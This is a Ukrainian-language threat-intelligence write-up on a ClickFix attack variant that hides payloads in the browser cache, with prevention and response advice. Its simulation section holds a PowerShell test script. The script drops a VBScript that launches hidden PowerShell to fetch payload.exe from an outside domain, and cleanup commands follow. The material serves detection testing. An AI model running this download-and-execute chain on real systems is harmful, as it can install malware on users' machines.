ClickFix атака доставляє пейлоди через кеш браузера

Резюме

Нова варіація атаки ClickFix використовує зламані сайти для попереднього завантаження шкідливих скриптів у кеш веб-браузера, замаскованих під легітимні файли, такі як PNG. Жертви піддаються соціальній інженерії для виконання команд через діалогове вікно Windows Run, яке потім запускає виконання закешованого навантаження, щоб обійти обмеження символів та контролі безпеки. Ця техніка зрештою призводить до крадіжки облікових даних через ін’єкцію в пам’ять легітимних процесів.

Розслідування

Microsoft Threat Intelligence та інші дослідники виявили багатоступеневий ланцюжок інфекції, який включає використання VBScript, PowerShell та .NET зібрань. Ланцюжок атаки використовує контрабанду кешу браузера, щоб приховати навантаження, та використовує WMI для збору інформації про хост. Розслідування висвітлило використання легітимних системних інструментів, таких як cmd.exe, wscript.exe і timeout.exe для полегшення атаки.

Запобігання

Організації повинні впровадити захист в хмарі, веб-та мережевий захист поряд з контролем додатків та логуванням блоків скрипту PowerShell. Користувачів слід навчити ніколи не вставляти команди в Windows Run, Terminal або PowerShell при появі помилок на сайті або CAPTCHA. Також рекомендується моніторинг підозрілої активності браузера та дочірніх процесів WScript/PowerShell.

Відповідь

Після виявлення шукайте підозрілу активність у реєстрі RunMRU та моніторьте незвичайні заплановані завдання. Досліджуйте дочірні процеси, породжені WScript або PowerShell, і перевіряйте на несанкціоновані завантаження .NET зібрань в пам’ять. Ізолюйте уражені системи та перегляньте мережеві журнали на наявність вихідного з’єднання з відомими шкідливими доменами.

Симуляція виконання

• Наратив атаки & Команди: Противник використовує прийом соціальної інженерії, коли користувачу пропонується “виправити” помилку браузера. Цей процес затащує шкідливий VBScript у тимчасовий каталог (імітує кеш браузера). Потім противник виконує цей VBScript за допомогою wscript.exe. VBScript сконструйований так, щоб викликати PowerShell з параметром -WindowStyle Hidden для уникнення виявлення користувачем і намагається підключитися до домена capsysnet.vg для отримання вторинного навантаження. Ця послідовність створена для активації специфічної детекційної логіки на основі строк у правилі.

• Скрипт регресійного тестування:

  # Скрипт симуляції: Імітація контрабанди ClickFix Payload
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  
  # Створіть VBScript, що імітує шкідливу поведінку
  # Він намагається викликати PowerShell зі специфічною строкою, на яку шукає правило
  # і посилається на підозрілий домен.
  $vbsContent = @"
  Set objShell = CreateObject("WScript.Shell")
  ' Імітуйте виклик скрипта під назвою v.ps1 із прихованим стилем вікна
  ' та підключення до підозрілого домену
  objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True
  "@
  
  Set-Content -Path $vbsPath -Value $vbsContent
  
  Write-Host "[+] Створено шкідливий VBScript за адресою: $vbsPath"
  Write-Host "[+] Виконуємо VBScript через wscript.exe для активації детекцій..."
  
  # Виконуємо VBScript
  Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`""
  
  Write-Host "[+] Команда симуляції надіслана. Перевірте SIEM для сповіщень."

• Команди очищення:

  # Очищення: Видалення імітованих шкідливих файлів
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  if (Test-Path $vbsPath) {
      Remove-Item -Path $vbsPath -Force
      Write-Host "[+] Очистка завершена: $vbsPath видалений."
  } else {
      Write-Host "[!] Очистка не вдалася: файл не знайдено."
  }